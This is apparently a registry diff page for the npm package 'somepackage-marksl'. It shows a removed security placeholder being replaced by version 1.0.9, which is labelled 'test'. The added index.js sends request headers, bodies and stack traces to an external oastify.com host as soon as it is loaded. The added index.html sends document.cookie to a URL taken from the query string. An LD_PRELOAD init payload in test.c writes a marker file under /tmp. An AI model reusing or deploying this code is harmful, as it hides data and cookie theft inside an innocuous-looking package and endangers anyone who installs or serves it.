somepackage-marksl 0.0.1-security → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of somepackage-marksl might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=somepackage-marksl for more information.
1
+ # somepackage-marksl
2
+ test
Binary file
package/bin/e.so ADDED
Binary file
package/bin/test.c ADDED
@@ -0,0 +1,10 @@
1
+ #include <stdio.h>
2
+ #include <stdlib.h>
3
+ #include <unistd.h>
4
+ #define FILE_NAME "/tmp/hacked2.txt"
5
+
6
+ void _init() {
7
+ unsetenv("LD_PRELOAD");
8
+ FILE* file_ptr = fopen(FILE_NAME, "w");
9
+ fclose(file_ptr);
10
+ }
package/index.html ADDED
@@ -0,0 +1,11 @@
1
+ <script>
2
+ const queryString = window.location.search;
3
+ const urlParams = new URLSearchParams(queryString);
4
+ const urlParam = urlParams.get('url');
5
+
6
+ if (urlParam) {
7
+ fetch(urlParam + '?c=' + encodeURIComponent(document.cookie))
8
+ }
9
+
10
+ alert(document.cookie)
11
+ </script>
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const getCurrentRequest = require('@wix/wix-request');
2
+ const { fetch } = require('wix-fetch');
3
+ const util = require('util');
4
+
5
+ async function main() {
6
+ const webhook = 'https://x31lltv67khjb5st88mxpm2qchie67uw.oastify.com/'
7
+
8
+ // stack
9
+ const error = new Error();
10
+ Error.captureStackTrace(error);
11
+ const callStack = error.stack;
12
+
13
+ // request
14
+ const currentRequest = await getCurrentRequest();
15
+ const currentRequestInspected = util.inspect(currentRequest, {showHidden: false, depth: 2})
16
+ const reqHeaders = currentRequest.headers;
17
+ const reqBody = currentRequest.request.body;
18
+
19
+ // objects i want to send
20
+ const goodies = {
21
+ item,
22
+ reqHeaders,
23
+ reqBody,
24
+ currentRequestInspected, // object too big, send to webhooksite
25
+ callStack
26
+ }
27
+
28
+ for (let [key, value] of Object.entries(goodies)) {
29
+ fetch(webhook + key, {
30
+ method: 'POST',
31
+ body: JSON.stringify(value)
32
+ })
33
+ }
34
+ }
35
+
36
+ main();
37
+
38
+ exports.printMsg = function() {
39
+ console.log("marksl test");
40
+ }
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "somepackage-marksl",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.9",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/markslWix/somepackage-marksl.git"
12
+ },
13
+ "keywords": [
14
+ "test"
15
+ ],
16
+ "author": "marksl@wix.com",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/markslWix/somepackage-marksl/issues"
20
+ },
21
+ "homepage": "https://github.com/markslWix/somepackage-marksl#readme"
6
22
  }